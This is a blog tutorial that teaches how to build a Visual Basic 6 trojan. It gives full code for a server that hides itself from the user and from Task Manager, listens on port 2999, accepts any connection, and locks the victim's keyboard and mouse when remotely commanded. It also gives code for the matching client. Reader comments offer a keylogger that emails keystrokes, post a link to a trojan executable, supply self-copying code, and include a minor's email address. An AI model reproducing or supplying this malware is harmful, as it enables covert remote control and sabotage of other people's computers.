Home > Tutorial > Trojan With Visual Basic

Trojan With Visual Basic

Create Trojan with Visual basic

Private Sub Form_Load()
     Me.Visible = False
End Sub

This little bit of code makes the program invisible to the naked eye. Now we all know that the task manager is a little bit peskier. So to get our application hidden from that a little better we make our code look like this.

Private Sub Form_Load()
     Me.Visible = False
     App.TaskVisible = False
End Sub

So now, we have a program that is virtually invisible to the average user, and it only took four lines of code. Now all of you are thinking that this tutorial sucks right about now so lets make it a lot better by adding functions to our Trojan!
The first thing we want to do is make it be able to listen for connections when it loads. So in order to do this we need to add a Winsock Control. I named my control win but you can name yours what ever.

Now to make it listen on port 2999 when the Trojan starts up we make our code look like this.

Private Sub Form_Load()
     Me.Visible = False
     App.TaskVisible = False
     win.LocalPort = 2999
     win.RemotePort = 455
     win.Listen
End Sub

This code will set the local open port to 2999 and the port it sends it to is 455. So now, we have a program that listens but still doesn’t do anything neat. Lets make it block the input of the user completely when we tell it to!

To do this little devious thing we need to add a module with the following code

Public Declare Function BlockInput Lib “user32″ (ByVal fBlock As Long) As Long

Then we add this code to our main form:

Code: VB

Private Sub win_ConnectionRequest(ByVal requestID As Long)
     win.Close
     win.Accept requestID
End Sub
Private Sub win_DataArrival(ByVal bytesTotal As Long)
    win.GetData GotDat
    DoActions (GotDat)
End Sub

The code in the module is called a windows API. It uses a dll file to do tasks that we want. Now this code still won’t block the users input but we are very close. We now need to program the DoActions function that we called on our main form. In case you were wondering the code that we added to the form does two different things. The first sub makes it so all connection requests are automatacly accepted. The second sub makes it so all data is automaticly accepted and it then passes all of the data to the function DoActions which we are about to code.

For the DoActions code, we want to make a public function in the module. So add this code to the module and we are about done with the server of the Trojan!

Code: VB

Public Function DoActions(x As String)
     Dim Action
     Select Case x
             Case "block"
             Action = BlockInput(True)
     End Select
End Function

Ok now we have a program that when the data “block” is sent to it on port 2999 it will block the users input. I made a Select Case statement so it is easy to modify this code to your own needs later on. I recommend adding a unblock feature of your own. To do that just call the BlockInput function with the argument False instead of true.

Main Form

Code: VB

Private Sub Form_Load()
     Me.Visible = False
     App.TaskVisible = False
     win.LocalPort = 2999
     win.RemotePort = 455
     win.Listen
End Sub
Private Sub win_ConnectionRequest(ByVal requestID As Long) ' As corrected by Darkness1337
     win.Close
     win.Accept requestID
End Sub
Private Sub win_DataArrival(ByVal bytesTotal As Long)
     win.GetData GotDat
     DoActions (GotDat)
End Sub

Remember to add your winsock control and name it to win if you use this code.

Code: VB

Module
Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Public Function DoActions(x As String)
     Dim Action
     Select Case x
               Case "block"
               Action = BlockInput(True)
     End Select
End Function

That’s all there is to the server side or Trojan part of it. Now on to the Client.

Client

The client will be what you will interact with. You will use it to connect to the remote server (trojan) and send it commands. Since we made a server that accepts the command of “block” lets make a client that sends the command “block”.

Make a form and add a Winsock Control, a text box, and three buttons. The Text box should be named txtIP if you want it to work with this code. In addition, your buttons should be named cmdConnect, cmdBlockInput, and cmdDisconnect. Now lets look at the code we would use to make our Client.

Code: VB

Private Sub cmdConnect_Click()
     IpAddy = txtIp.Text
     Win.Close
     Win.RemotePort = 2999
     Win.RemoteHost = IpAddy
     Win.LocalPort = 9999
     Win.Connect
     cmdConnect.Enabled = False
End Sub
Private Sub cmdDisconnect_Click()
     Win.Close
     cmdConnect.Enabled = True
End Sub
Private Sub cmdBlockInput_Click()
     Win.SendData "block"
End Sub

That is the code for the client. All it does is gets the Ip Adress from txtIp and connects to it on remote port 2999. Then when connected you can send the “block” data to block off their input.


Categories: Tutorial Tags:
  1. Phoenix
    March 18, 2009 at 12:36 am | #1

    I get a bunch of errors:

    Error 1 ‘Sub Main’ was not found in ‘Project1′. Project1
    Error 2 Name ‘IpAddy’ is not declared. C:\Users\phoenix\AppData\Local\Temporary Projects\Project1\Class1.vb 4 9 Project1
    Error 3 Name ‘txtIp’ is not declared. C:\Users\phoenix\AppData\Local\Temporary Projects\Project1\Class1.vb 4 18 Project1
    Error 4 Name ‘Win’ is not declared. C:\Users\phoenix\AppData\Local\Temporary Projects\Project1\Class1.vb 6 9 Project1
    Error 5 Name ‘Win’ is not declared. C:\Users\phoenix\AppData\Local\Temporary Projects\Project1\Class1.vb 8 9 Project1
    Error 6 Name ‘Win’ is not declared. C:\Users\phoenix\AppData\Local\Temporary Projects\Project1\Class1.vb 10 9 Project1
    Error 7 Name ‘IpAddy’ is not declared. C:\Users\phoenix\AppData\Local\Temporary Projects\Project1\Class1.vb 10 26 Project1
    Error 8 Name ‘Win’ is not declared. C:\Users\phoenix\AppData\Local\Temporary Projects\Project1\Class1.vb 12 9 Project1
    Error 9 Name ‘Win’ is not declared. C:\Users\phoenix\AppData\Local\Temporary Projects\Project1\Class1.vb 14 9 Project1
    Error 10 Name ‘cmdConnect’ is not declared. C:\Users\phoenix\AppData\Local\Temporary Projects\Project1\Class1.vb 16 9 Project1
    Error 11 Name ‘Win’ is not declared. C:\Users\phoenix\AppData\Local\Temporary Projects\Project1\Class1.vb 22 9 Project1
    Error 12 Name ‘cmdConnect’ is not declared. C:\Users\phoenix\AppData\Local\Temporary Projects\Project1\Class1.vb 24 9 Project1
    Error 13 Name ‘Win’ is not declared. C:\Users\phoenix\AppData\Local\Temporary Projects\Project1\Class1.vb 30 9 Project1

    I’m new to this and don’t know where to start.

  2. naid
    March 25, 2009 at 6:32 pm | #2

    Phoenix, are you sure you dont just got the porteble verison?

  3. Kobi
    August 11, 2009 at 10:24 am | #3

    Nice programme… working nice..

  4. August 13, 2009 at 2:43 pm | #4

    das funktioniert überhaupt nicht, oder hast du das auch auf deutsch?

  5. šprici
    August 18, 2009 at 9:35 am | #5

    Hello please please can somebody write this and send me to mail bahno77@gmail.com ?? im 13 years old and im only starting with programming in VB2008…. if you sent me this i can sent you my new keylogger in C++ or VB 2008/2010 with WinPadlock it is 100% hide in taskmgr and system ! keylogger can sent all saved keys to mail !!

  6. September 1, 2009 at 2:18 pm | #6

    visual basic is always funny.

  7. JayWhisler
    September 6, 2009 at 11:33 am | #7

    It doesnt work for me.
    Wich vb i need?
    i got vb 2008 express edition…

    pls help

  8. September 6, 2009 at 3:40 pm | #8

    Dear Jay, my code in Trojan with visual basic only for VB6 not vb 2008 (VBNet)
    sorry.

  9. JayWhisler
    September 7, 2009 at 8:55 am | #9

    programmervb :
    Dear Jay, my code in Trojan with visual basic only for VB6 not vb 2008 (VBNet)
    sorry.

    Cant you Write it in VBNet too?

    Or can you pls tell me a command where the .exe copys itself to a path.
    I need it.
    thx

    Sorry for my Bad english, i am german^^

  10. September 8, 2009 at 4:12 pm | #10

    mm I will try

  11. Nazm
    October 4, 2009 at 9:23 am | #11

    Hey follow the link , there you will find exe file of simple trojan…go thru the redme.txt and enjoy…tell me or write me if you are facing any problems.

    http://rapidshare.com/files/288480983/Simple_trojan.rar.html

  12. Nazm
    October 4, 2009 at 10:05 am | #12

    JayWhisler said

    Or can you pls tell me a command where the .exe copys itself to a path.
    I need it.
    thx

    ok here is one in vb 6
    Cocde begains:
    Dim YO As String
    YO = App.Path & “\” & App.EXEName & “.exe”

    FileCopy YO, Drive & App.EXEName & “.exe”
    Code ends:
    the format is FileCopy( path of the file to be copied, path where to copy)

  13. Plagerism
    December 1, 2009 at 6:29 pm | #13

    Nice copy and paste from a forum; you haven’t even given credits.

  1. No trackbacks yet.